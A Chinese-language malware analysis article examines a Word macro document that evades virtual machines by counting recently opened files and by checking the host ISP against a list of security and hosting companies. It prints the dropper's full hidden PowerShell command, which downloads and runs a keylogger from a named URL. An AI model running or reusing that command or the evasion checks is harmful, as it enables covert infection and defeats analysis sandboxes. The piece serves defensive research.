这个恶意软件“奇葩”的反虚拟机技巧

时间:2022-04-27
本文章向大家介绍这个恶意软件“奇葩”的反虚拟机技巧,主要内容包括样本信息、分析调查、技巧:、PAYLOAD、其它、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。

最近,我分析到一个行为异常的恶意软件样本。由于很难发现该恶意软件的真实行为,所以我花了很多时间去调试分析。然而在分析过程中,又有多种因素会导致运行崩溃和异常。在此,我就发表了对该恶意软件反虚拟机的一些技术。

样本信息

恶意软件样本文件名为“Intelligent Software Solutions Inc.doc“,其SHA256值为:

048fc07fb94a74990d2d2b8e92c099f3f986af185c32d74c857b07f7fcce7f8e

以下是样本文件打开运行时的示例:

如果这看起来不太可疑,请看其代码视图:

这是一个经典的教科书式的WORD恶意软件,它没有实质内容,但包括了经过混淆的可执行代码,看上去非常简洁。

分析调查

从代码层面来看,顶部的分支程序像是程序的执行入口,很有可能是当WORD文档被打开后,点击“enable contenet” 执行Active X控件的操作,最终,程序会排错调用IuIxpP子程序。

技巧:

在子程序 IuIxpP中,分别调用了两个方法DKTxHE 和 qrNjY,并抛出不同的执行错误。

其中,DKTxHE 功能为:

RecentFiles对象表示系统最近打开过的历史文档。通常,安装了word程序的用户可能会打开超过2个或更多数量的文档。然而,当该恶意软件植入到新创建的虚拟机和word环境中后,总是状况不断,不能正常运行。每次测试时手动打开一两次,总是出现程序异常。即使是保存了虚拟机镜像状态,重启调试分析后,恶意程序仍然不能正常执行。

从DKTxHE函数功能可以看出,恶意软件以RecentFiles数量来判断是否身处VM环境中,如果在VM环境中,它将不会执行任何恶意行为,非常“聪明”。之后,我随意创建了3个不同名称的word文档,逐一打开并关闭,让历史文档数量为3,最终成功运行并检测到了恶意软件。

原因很明了,虚拟机环境一般缺乏多个Word文档,恶意程序通过探测最近打开的历史文档数量,判断是否处于VM环境中,如果在最近打开文档数量内发现只有3个以下的word文档,就会拒绝执行。

技巧:

在另一个子程序 qrNjY中,恶意软件通过探测IP信息来识别VM环境。首先,它通过向远程地址发出某种认证请求,

https://www.maxmind.com/geoip/v2.1/city/me

之后设置请求信息中的HTTP Refer属性和User-Agent值,访问链接:

https://www.maxmind.com/en/locate-my-ip-address

以此获取宿主系统的地址信息,如:

获取信息封装于JSON格式文件中,包含国家、城市、或者与IP相关的组织机构等信息。如:

{
  "location": {
    "latitude": 30.7858,
    "longitude": -102.1232,
    "metro_code": 705,
    "accuracy_radius": 5,
    "time_zone": "America/Los_Angeles"
  },
  "continent": {
    "names": {
      "ja": "北アメリカ",
      "pt-BR": "América do Norte",
      "de": "Nordamerika",
      "es": "Norteamérica",
      "ru": "Северная Америка",
      "fr": "Amérique du Nord",
      "zh-CN": "北美洲",
      "en": "North America"
    },
    "code": "NA",
    "geoname_id": 6255149
  },
  "city": {
    "names": {
      "pt-BR": "Oakland",
      "de": "Oakland",
      "es": "Oakland",
      "ja": "オークランド",
      "en": "Oakland",
      "ru": "Окленд",
      "fr": "Oakland",
      "zh-CN": "奥克兰"
    },
    "geoname_id": 5378538
  },
  "postal": {
    "code": "94619"
  },
  "country": {
    "names": {
      "ru": "США",
      "fr": "états-Unis",
      "zh-CN": "美国",
      "en": "United States",
      "ja": "アメリカ合衆国",
      "es": "Estados Unidos",
      "pt-BR": "Estados Unidos",
      "de": "USA"
    },
    "iso_code": "US",
    "geoname_id": 6252001
  },
  "traits": {
    "organization": "Comcast Cable",
    "isp": "Comcast Cable",
    "ip_address": "123.123.123.123",
    "autonomous_system_organization": "Comcast Cable Communications, LLC",
    "domain": "comcast.net",
    "autonomous_system_number": 7922
  },
  "registered_country": {
    "geoname_id": 6252001,
    "names": {
      "zh-CN": "美国",
      "ru": "США",
      "fr": "états-Unis",
      "en": "United States",
      "ja": "アメリカ合衆国",
      "pt-BR": "Estados Unidos",
      "de": "USA",
      "es": "Estados Unidos"
    },
    "iso_code": "US"
  },
  "subdivisions": [
    {
      "geoname_id": 5332921,
      "names": {
        "ru": "Калифорния",
        "fr": "Californie",
        "zh-CN": "加利福尼亚州",
        "en": "California",
        "ja": "カリフォルニア州",
        "pt-BR": "Califórnia",
        "es": "California",
        "de": "Kalifornien"
      },
      "iso_code": "CA"
    }
  ]
}

在以上示例文件中,IP信息的organization字段显示为美国Comcast宽带网络供应商。恶意软件发出访问请求后,获取到宿主系统的相关信息将存储于某个数组中。如果获取到的组织机构名称与以下JSON文件中的任何机构字符串匹配,恶意软件将发生异常并停止运行。

AmazonanonymousBitDefenderBlackOakComputersBlue CoatBlueCoatCiscocloudData CenterDataCenterDataCentrededicatedESET, SpolFireEyeForcePointFortinetHetznerhispeed.chhostedHostingIron PortIronPortLeaseWebMessageLabsMicrosoftMimeCastNForceOvh SasPalo AltoProofPointRackspacesecurityServerStrong TechnologiesTrend MicroTrendMicroTrustWaveVMVaultZscaler

当然,上述列表中的机构名称在代码中是经过混淆的:

以上信息表明,恶意程序通过检查,是否有网络服务商或杀毒软件公司相关的IP地址运行VM虚拟机对其进行调试分析,如果有,将停止运行。

PAYLOAD

如果恶意程序发现宿主系统有3个或以上的Word最近打开文档,将会执行远程下载解盘记录程序的PowerShell脚本:

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -command $f=[System.IO.Path]::GetTempFileName();(New-Object System.Net.WebClient).DownloadFile('http://silkflowersdecordesign.com/admin/worddata.dat', $f);(New-Object -com WScript.Shell).Exec($f)

http://silkflowersdecordesign.com/admin/worddata.dat中涉及的worddata.dat是一个轻量级的键盘记录程序,SHA256为19d884d3b688abf8e284d3bc6a06817096d15592bcd73f85a0e4b79749f2a744。

其它

Researchers at Proofpoint 和Deepen Desai at zscaler两篇文章都对 anti-vm和anti-sandbox做了深入讨论,这些技术涉及到了不同种类的恶意软件,它们或许代表了VBA恶意软件的一种发展趋势。

当然,看雪论坛的一篇经典文章《虚拟机检测技术剖析》,也是非常值得学习的。

*参考来源:Sentinelone, *FB小编clouds编译,未经许可禁止转载